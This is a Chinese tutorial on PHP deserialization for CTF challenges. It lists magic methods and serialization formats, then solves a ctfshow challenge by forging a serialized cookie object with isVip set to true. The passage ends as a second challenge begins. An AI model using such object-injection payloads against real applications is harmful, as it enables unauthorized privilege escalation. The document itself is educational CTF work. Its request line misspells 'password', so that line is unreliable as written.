前言
各种CTF比赛随处可见反序列化的影子,让我们来了解一下!
阅读本文,需要了解PHP中类的基础知识
正文
了解反序列化,必先了解其魔法函数
1. __sleep() //在对象被序列化之前运行
2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
3. __construct() //当对象被创建时,会触发进行初始化
4. __destruct() //对象被销毁时触发
5. __toString()://当一个对象被当作字符串使用时触发
6. __call() //在对象上下文中调用不可访问的方法时触发
7. __callStatic() //在静态上下文中调用不可访问的方法时触发
8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
9. __set() //用于将数据写入不可访问的属性
10. __isset() //在不可访问的属性上调用isset()或empty()触发
11. __unset() //在不可访问的属性上使用unset()时触发
12. __toString() //把类当作字符串使用时触发
13. __invoke() //当脚本尝试将对象调用为函数时触发
然后了解其属性
序列化对象:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名
让我们跟随CTF题目,来感受反序列化独有的的"魅力"
1.
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
通读代码
$username&&$password存在进入反序列化$_COOKIE['user']
(cookie为可控字段)
随后便调用了login方法
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
只有类中$username和$password等于我们传入的值 ,即可返回true
进入第二个if 调用了checkVip方法
public function checkVip(){
return $this->isVip;
}
这里定义类中isVip属性为true即可
便调用了其vipOneKeyGetFlag方法 echo除了flag
思路来了,构造payload
<?
class ctfShowUser{
public $isVip=true;
public $username='a';
public $password='a';
}
$o=new ctfShowUser();
echo serialize($o);
?>
?username=a&passowrd=a
cookie便传值我们构造出的payload
2.
class ctfShowUser{